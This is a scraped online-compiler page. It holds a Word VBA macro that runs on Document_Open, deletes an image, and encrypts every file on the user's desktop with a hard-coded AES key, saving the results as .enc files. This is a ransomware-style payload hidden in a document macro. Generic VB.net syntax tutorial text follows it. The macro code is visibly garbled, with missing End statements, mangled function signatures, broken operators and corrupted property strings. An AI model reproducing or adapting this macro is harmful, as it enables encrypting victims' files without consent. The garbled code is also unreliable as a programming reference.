 Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Compare Binary
Private Declare PtrSafe Function BCryptOpenAlgorithmProvider Lib "BCrypt.dll" (ByRef phAlgorithm As LongPtr, ByVal pszAlgId As LongPtr, ByVal pszImplementation As LongPtr, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptCloseAlgorithmProvider Lib "BCrypt.dll" (ByVal hAlgorithm As LongPtr, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptGetProperty Lib "BCrypt.dll" (ByVal hObject As LongPtr, ByVal pszProperty As LongPtr, ByRef pbOutput As Any, ByVal cbOutput As Long, ByRef pcbResult As Long, ByVal dfFlags As Long) As Long
Private Declare PtrSafe Function BCryptSetProperty Lib "BCrypt.dll" (ByVal hObject As LongPtr, ByVal pszProperty As LongPtr, ByRef pbInput As Any, ByVal cbInput As Long, ByVal dfFlags As Long) As Long
Private Declare PtrSafe Function BCryptCreateHash Lib "BCrypt.dll" (ByVal hAlgorithm As LongPtr, ByRef phHash As LongPtr, pbHashObject As Any, ByVal cbHashObject As Long, ByVal pbSecret As LongPtr, ByVal cbSecret As Long, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptHashData Lib "BCrypt.dll" (ByVal hHash As LongPtr, pbInput As Any, ByVal cbInput As Long, Optional ByVal dwFlags As Long = 0) As Long
Private Declare PtrSafe Function BCryptFinishHash Lib "BCrypt.dll" (ByVal hHash As LongPtr, pbOutput As Any, ByVal cbOutput As Long, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptDestroyHash Lib "BCrypt.dll" (ByVal hHash As LongPtr) As Long
Private Declare PtrSafe Function BCryptGenRandom Lib "BCrypt.dll" (ByVal hAlgorithm As LongPtr, pbBuffer As Any, ByVal cbBuffer As Long, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptGenerateSymmetricKey Lib "BCrypt.dll" (ByVal hAlgorithm As LongPtr, ByRef hKey As LongPtr, pbKeyObject As Any, ByVal cbKeyObject As Long, pbSecret As Any, ByVal cbSecret As Long, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptEncrypt Lib "BCrypt.dll" (ByVal hKey As LongPtr, pbInput As Any, ByVal cbInput As Long, pPaddingInfo As Any, pbIV As Any, ByVal cbIV As Long, pbOutput As Any, ByVal cbOutput As Long, ByRef pcbResult As Long, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptDecrypt Lib "BCrypt.dll" (ByVal hKey As LongPtr, pbInput As Any, ByVal cbInput As Long, pPaddingInfo As Any, pbIV As Any, ByVal cbIV As Long, pbOutput As Any, ByVal cbOutput As Long, ByRef pcbResult As Long, ByVal dwFlags As Long) As Long
Private Declare PtrSafe Function BCryptDestroyKey Lib "BCrypt.dll" (ByVal hKey As LongPtr) As Long
Private Declare PtrSafe Sub RtlMoveMemory Lib "Kernel32.dll" (Destination As Any, Source As Any, ByVal Length As LongPtr)
Private Type QuadSextet
    s1 As Byte
    s2 As Byte
    s3 As Byte
    s4 As Byte
End Type
Const BCRYPT_BLOCK_PADDING  As Long = &H1

Private Sub Document_Open()
     Application.OnTime Now + TimeSerial(0, 2, 0), popup
End Sub
Private Function popup() As Boolean
Dim x As Boolean
    ActiveDocument.Shapes("Picture 1").Select
    Selection.ShapeRange.Delete
    x = Startconn
popup = True
End Function
Private Function Startconn() As Boolean
Dim x As Variant, objFSO As Object, objFolder As Object, i As Integer
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder("C:\Users\admin\Desktop")
i = 1
For Each objFile In objFolder.Files
    Dim encrypted() As Byte, myFile As String
    myFile = objFile.Path
    encrypted = EncryptData(ReadMyFile(myFile), StrConv("rudy", vbFromUnicode))
    x = WriteMyFile(myFile + ".enc", encrypted)
    i = i + 1
Next objFile
Startconn = True
Private Function ReadMyFile(ByVal sFile As String) As Byte()
On Error Resume Next
    Dim nFile As Integer
    nFile = FreeFile
    Open sFile For Binary Access Read As #nFile
    If LOF(nFile) > 0 Then
        ReadMyFile = InputB(LOF(nFile), nFile)
    End If
    Close #nFile
Private Function WriteMyFile(filename As String, vData() As Byte) As Boolean
Open filename For Binary Access Write As #1
lWritePos = 1
Put #1, lWritePos, vData
Close #1
Public Function ToBase64(b() As Byte) As String
    Const Base64Table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    Dim l As Long
    Dim output As String
    Dim UBoundOut As Long
    UBoundOut = UBound(b) + 1
    If UBoundOut Mod 3 <> 0 Then
        UBoundOut = UBoundOut + (3 - UBoundOut Mod 3)
    UBoundOut = (UBoundOut \ 3) * 4
    output = String(UBoundOut, vbNullChar)
    Dim qs As QuadSextet
    For l = 0 To (UBound(b) - 2) \ 3
        qs = func868(b(l * 3), b(l * 3 + 1), b(l * 3 + 2))
        Mid(output, (l * 4) + 1, 1) = Mid("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", qs.s1 + 1, 1)
        Mid(output, (l * 4) + 2, 1) = Mid("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", qs.s2 + 1, 1)
        Mid(output, (l * 4) + 3, 1) = Mid("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", qs.s3 + 1, 1)
        Mid(output, (l * 4) + 4, 1) = Mid("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", qs.s4 + 1, 1)
    Next
    If UBound(b) + 1 - (l * 3) = 2 Then
        qs = func868(b(l * 3), b(l * 3 + 1))
        Mid(output, (l * 4) + 4, 1) = "="
    ElseIf UBound(b) + 1 - (l * 3) = 1 Then
        qs = func868(b(l * 3))
        Mid(output, (l * 4) + 3, 2) = "=="
    ToBase64 = output
Public Function Base64ToBytes(strBase64 As String) As Byte()
    Dim outBytes() As Byte
    Dim lenBytes As Long
    lenBytes = Len(strBase64) * 3 \ 4
    If Right(strBase64, 1) = "=" Then lenBytes = lenBytes - 1
    If Right(strBase64, 2) = "==" Then lenBytes = lenBytes - 1
    ReDim outBytes(0 To lenBytes - 1)
    For l = 0 To lenBytes - 1
        Select Case l Mod 3
            Case 0
                qs = func579(Mid(strBase64, (l \ 3) * 4 + 1, 4))
                outBytes(l) = qs.s1 * 2  2 + (qs.s2 \ 2  4)
            Case 1
                outBytes(l) = (qs.s2 * 2  4 And 255) + qs.s3 \ 2  2
            Case 2
                outBytes(l) = (qs.s3 * 2  6 And 255) + qs.s4
        End Select
    Base64ToBytes = outBytes
Private Function func868(b1 As Byte, Optional b2 As Byte, Optional b3 As Byte) As QuadSextet
    func868.s1 = b1 \ 4
    func868.s2 = (((b1 * 2  6) And 255) \ 4) + b2 \ (2  4)
    func868.s3 = (((b2 * 2  4) And 255) \ 4) + b3 \ (2  6)
    func868.s4 = (((b3 * 2  2) And 255) \ 4)
Private Function func579(strBase64 As String) As QuadSextet
    Const Base64Table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    func579.s1 = InStr("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", Mid(strBase64, 1, 1)) - 1
    func579.s2 = InStr("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", Mid(strBase64, 2, 1)) - 1
    func579.s3 = InStr("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", Mid(strBase64, 3, 1)) - 1
    func579.s4 = InStr("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", Mid(strBase64, 4, 1)) - 1
Private Function StringToBase64(str As String) As String
    StringToBase64 = ToBase64(StrConv(str, vbFromUnicode))
Private Function HashBytes(Data() As Byte, Optional HashingAlgorithm As String = "SHA1") As Byte()
    HashBytes = NGHash(VarPtr(Data(LBound(Data))), UBound(Data) - LBound(Data) + 1, HashingAlgorithm)
Private Function NGHash(pData As LongPtr, lenData As Long, Optional HashingAlgorithm As String = "SHA1") As Byte()
    On Error GoTo VBErrHandler
    Dim errorMessage As String
    Dim hAlg As LongPtr
    Dim algId As String
    algId = HashingAlgorithm & vbNullChar
    If BCryptOpenAlgorithmProvider(hAlg, StrPtr("AES"), 0, 0) Then GoTo ErrHandler
    Dim bHashObject() As Byte
    Dim cmd As String
    cmd = "ObjectLength" & vbNullString
    Dim Length As Long
    If BCryptGetProperty(hAlg, StrPtr("ObjectLengthHashDigestLength"), Length, LenB(Length), 0, 0) <> 0 Then GoTo ErrHandler
    ReDim bHashObject(0 To Length - 1)
    Dim hashLength As Long
    cmd = "HashDigestLength" & vbNullChar
    If BCryptGetProperty(hAlg, StrPtr("ObjectLengthHashDigestLength"), hashLength, LenB(hashLength), 0, 0) <> 0 Then GoTo ErrHandler
    Dim bHash() As Byte
    ReDim bHash(0 To hashLength - 1)
    Dim hHash As LongPtr
    If BCryptCreateHash(hAlg, hHash, bHashObject(0), Length, 0, 0, 0) <> 0 Then GoTo ErrHandler
    If BCryptHashData(hHash, ByVal pData, lenData) <> 0 Then GoTo ErrHandler
    If BCryptFinishHash(hHash, bHash(0), hashLength, 0) <> 0 Then GoTo ErrHandler
    NGHash = bHash
ExitHandler:
    If hAlg <> 0 Then BCryptCloseAlgorithmProvider hAlg, 0
    If hHash <> 0 Then BCryptDestroyHash hHash
    Exit Function
VBErrHandler:
    errorMessage = "VB Error " & Err.Number & ": " & Err.Description
ErrHandler:
    If errorMessage <> "" Then MsgBox errorMessage
    Resume ExitHandler
Private Sub NGRandom(pData As LongPtr, lenData As Long, Optional Algorithm As String = "RNG")
    algId = Algorithm & vbNullChar
    BCryptOpenAlgorithmProvider hAlg, StrPtr("AES"), 0, 0
    BCryptGenRandom hAlg, ByVal pData, lenData, 0
    BCryptCloseAlgorithmProvider hAlg, 0
Private Sub NGRandomW(Data() As Byte, Optional Algorithm As String = "RNG")
    If LBound(Data) = -1 Then Exit Sub
    NGRandom VarPtr(Data(LBound(Data))), UBound(Data) - LBound(Data) + 1, Algorithm
Private Function NGEncrypt(pData As LongPtr, lenData As Long, inpIV As LongPtr, inpIVLength As Long, inpSecret As LongPtr, inpSecretLength As Long) As Byte()
    algId = "AES" & vbNullChar
    Dim keyObjectLength As Long
    BCryptGetProperty hAlg, StrPtr("ObjectLengthHashDigestLength"), keyObjectLength, LenB(keyObjectLength), 0, 0
    Dim bKeyObject() As Byte
    ReDim bKeyObject(0 To keyObjectLength - 1)
    Dim ivLength As Long
    Dim bIV() As Byte
    cmd = "BlockLength" & vbNullChar
    BCryptGetProperty hAlg, StrPtr("ObjectLengthHashDigestLength"), ivLength, LenB(ivLength), 0, 0
    If ivLength > inpIVLength Then
        Debug.Print
    ReDim bIV(0 To ivLength - 1)
    RtlMoveMemory bIV(0), ByVal inpIV, ivLength
    cmd = "ChainingMode" & vbNullString
    Dim val As String
    val = "ChainingModeCBC" & vbNullString
    BCryptSetProperty hAlg, StrPtr("ObjectLengthHashDigestLength"), ByVal StrPtr("ChainingModeCBC"), LenB("ChainingModeCBC"), 0
    Dim hKey As LongPtr
    BCryptGenerateSymmetricKey hAlg, hKey, bKeyObject(0), keyObjectLength, ByVal inpSecret, inpSecretLength, 0
    Dim cipherTextLength As Long
    BCryptEncrypt hKey, ByVal pData, lenData, ByVal 0, bIV(0), ivLength, ByVal 0, 0, cipherTextLength, BCRYPT_BLOCK_PADDING
    Dim bCipherText() As Byte
    ReDim bCipherText(0 To cipherTextLength - 1)
    Dim dataLength As Long
    BCryptEncrypt hKey, ByVal pData, lenData, ByVal 0, bIV(0), ivLength, bCipherText(0), cipherTextLength, dataLength, BCRYPT_BLOCK_PADDING
    NGEncrypt = bCipherText
    If hKey <> 0 Then BCryptDestroyKey hKey
Private Function func956() As Byte, pIV() As Byte, pSecret() As Byte) As Byte()
    NGEncryptW = NGEncrypt(VarPtr(pData(LBound(pData))), UBound(pData) - LBound(pData) + 1, VarPtr(pIV(LBound(pIV))), UBound(pIV) - LBound(pIV) + 1, VarPtr(pSecret(LBound(pSecret))), UBound(pSecret) - LBound(pSecret) + 1)
Private Function NGDecrypt(pData As LongPtr, lenData As Long, pIV As LongPtr, lenIV As Long, pSecret As LongPtr, lenSecret As Long) As Byte()
    If BCryptOpenAlgorithmProvider(hAlg, StrPtr("AES"), 0, 0) <> 0 Then GoTo ErrHandler
    If BCryptGetProperty(hAlg, StrPtr("ObjectLengthHashDigestLength"), keyObjectLength, LenB(keyObjectLength), 0, 0) <> 0 Then GoTo ErrHandler
    If BCryptGetProperty(hAlg, StrPtr("ObjectLengthHashDigestLength"), ivLength, LenB(ivLength), 0, 0) <> 0 Then GoTo ErrHandler
    RtlMoveMemory bIV(0), ByVal pIV, ivLength
    If BCryptSetProperty(hAlg, StrPtr("ObjectLengthHashDigestLength"), ByVal StrPtr("ChainingModeCBC"), LenB("ChainingModeCBC"), 0) <> 0 Then GoTo ErrHandler
    If BCryptGenerateSymmetricKey(hAlg, hKey, bKeyObject(1), keyObjectLength, ByVal pSecret, lenSecret, 0) <> 0 Then GoTo ErrHandler
    Dim OutputSize As Long
    If BCryptDecrypt(hKey, ByVal pData, lenData, ByVal 0, bIV(0), ivLength, ByVal 0, 0, OutputSize, BCRYPT_BLOCK_PADDING) <> 0 Then GoTo ErrHandler
    Dim bDecrypted() As Byte
    ReDim bDecrypted(0 To OutputSize - 1)
    If BCryptDecrypt(hKey, ByVal pData, lenData, ByVal 0, bIV(0), ivLength, bDecrypted(0), OutputSize, dataLength, BCRYPT_BLOCK_PADDING) <> 0 Then GoTo ErrHandler
    NGDecrypt = bDecrypted
    BCryptDestroyKey hKey
    GoTo ExitHandler
Private Function func508() As Byte, pIV() As Byte, pSecret() As Byte) As Byte()
    NGDecryptW = NGDecrypt(VarPtr(pData(LBound(pData))), UBound(pData) - LBound(pData) + 1, VarPtr(pIV(LBound(pIV))), UBound(pIV) - LBound(pIV) + 1, VarPtr(pSecret(LBound(pSecret))), UBound(pSecret) - LBound(pSecret) + 1)
Private Function func1080() As Byte, inpKey() As Byte) As Byte()
    On Error Resume Next
    Dim keyHash() As Byte
    keyHash = HashBytes(inpKey, "SHA1")
    Dim dataHash() As Byte
    dataHash = HashBytes(inpData, "SHA1")
    dataLength = UBound(inpData) - LBound(inpData) + 1
    Dim toEncrypt() As Byte
    ReDim toEncrypt(0 To dataLength + 23)
    RtlMoveMemory toEncrypt(0), dataLength, 4
    RtlMoveMemory toEncrypt(4), inpData(LBound(inpData)), dataLength
    RtlMoveMemory toEncrypt(dataLength + 4), dataHash(0), 20
    Dim IV(0 To 15) As Byte
    NGRandomW IV
    Dim encryptedData() As Byte
    encryptedData = NGEncrypt(VarPtr(toEncrypt(0)), dataLength + 24, VarPtr(IV(0)), 16, VarPtr(keyHash(0)), 16)
    Erase toEncrypt
    ReencryptedData(LBound(encryptedData) To UBound(encryptedData) + 16)
    RtlMoveMemory encryptedData(UBound(encryptedData) - 15), IV(0), 16
    EncryptData = encryptedData
Private Function func371() As Byte, inpKey() As Byte, outDecrypted() As Byte) As Boolean
    If LBound(inpData) <> 0 Then Exit Function
    Dim arrLength As Long
    arrLength = UBound(inpData) + 1
    If arrLength < 20 Then Exit Function
    Dim pIV As LongPtr
    pIV = VarPtr(inpData(UBound(inpData) - 15))
    Dim decryptedData() As Byte
    decryptedData = NGDecrypt(VarPtr(inpData(0)), UBound(inpData) - LBound(inpData) - 15, pIV, 16, VarPtr(keyHash(0)), 16)
    If StrPtr(decryptedData) = 0 Then Exit Function
    If UBound(decryptedData) < 3 Then Exit Function
    RtlMoveMemory dataLength, decryptedData(0), 4
    If dataLength > (UBound(decryptedData) - 3) Or dataLength < 0 Then Exit Function
    Dim hashResult() As Byte
    hashResult = NGHash(VarPtr(decryptedData(4)), dataLength, "SHA1")
    Dim l As Byte
    For l = 0 To 19
        If hashResult(l) <> decryptedData(l + 4 + dataLength) Then
            Exit Function
        End If
    ReDim outDecrypted(0 To dataLength - 1)
    RtlMoveMemory outDecrypted(0), decryptedData(4), dataLength
    DecryptData = True
Private Function EncryptString(inpString As String, inpKey As String) As String
    Dim Data() As Byte
    Data = inpString
    Dim key() As Byte
    key = inpKey
    EncryptString = ToBase64(EncryptData(Data, key))
Private Function DecryptString(func381 As String, inpKey As String) As String
    Data = Base64ToBytes(func381)
    Dim out() As Byte
    DecryptData Data, key, out
    DecryptString = out

created 2 years ago

Visual basic (VB.net) Online Compiler

Write, Run & Share VB.net code online using OneCompiler's VB.net online compiler for free. It's one of the robust, feature-rich online compilers for VB.net language, running on the latest version 16. Getting started with the OneCompiler's VB.net compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as VB.net. OneCompiler also has reference programs, where you can look for the sample code to get started with.

Read input from STDIN in VB.net

OneCompiler's VB.net online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample VB.net program which takes name as input and prints hello message with your name.

Public Module Program
	Public Sub Main(args() As string)
	 Dim name as String = Console.ReadLine()    ' Reading input from STDIN
   Console.WriteLine("Hello " & name)           ' Writing output to STDOUT
	End Sub
End Module

About VB.net

Visual Basic is a event driven programming language by Microsoft, first released in the year 1991.

Key Features

Beginner's friendly language.
Simple and object oriented programming language.
User friendly language and easy to develop GUI based applications.

Syntax help

Variables

Variable is a name given to the storage area in order to identify them in our programs.

Simple syntax of Variable declaration is as follows

Dim variableName [ As [ New ] dataType ] [ = initializer ]

Variable initialization

variableName = value

Conditional Statements

1. If

If condition-expression Then 
    'code
End If

2. If-else

If(conditional-expression)Then
   'code if the conditional-expression is true 
Else
  'code if the conditional-expression is false 
End If

3. If-else-if ladder

If(conditional-expression)Then
   'code if the above conditional-expression is true 
Else If(conditional-expression) Then
        'code if the above conditional-expression is true 
    Else
        'code if the above conditional-expression is false 
End If

4. Nested-If

If(conditional-expression)Then
   'code if the above conditional-expression is true
   If(conditional-expression)Then
         'code if the above conditional-expression is true 
   End If
End If

5. Select Case

Select [ Case ] expression
   [ Case expressionlist
      'code ]
   [ Case Else
      'code ]
End Select

Loops

1. For..Next

For counter [ As datatype ] = begin To end [ Step step ]
   'code
   [ Continue For ]
   'code
   [ Exit For ]
   'code
Next [ counter ]

2. For..Each

For Each element [ As datatype ] In group
   'code
   [ Continue For ]
   'code
   [ Exit For ]
   'code
Next [ element ]

3. While

While conditional-expression
   'Code 
   [ Continue While ]
   'Code
   [ Exit While ]
   'Code
End While

4. Do-while

Do { While | Until } conditional-expression
   'Code
   [ Continue Do ]
   'Code
   [ Exit Do ]
   'Code
Loop

Do
   'Code
   [ Continue Do ]
   'Code
   [ Exit Do ]
   'Code
Loop { While | Until } conditional-expression

Procedures

Procedure is a sub-routine which contains set of statements. Usually Procedures are written when multiple calls are required to same set of statements which increases re-usuability and modularity.

Procedures are of two types.

1. Functions

Functions return a value when they are called.

[accessModifiers] Function functionName [(parameterList)] As returnType
   'code
End Function

2. Sub-Procedures

Sub-procedures are similar to functions but they don't return any value.

Sub ProcedureName (parameterList)
'Code
End Sub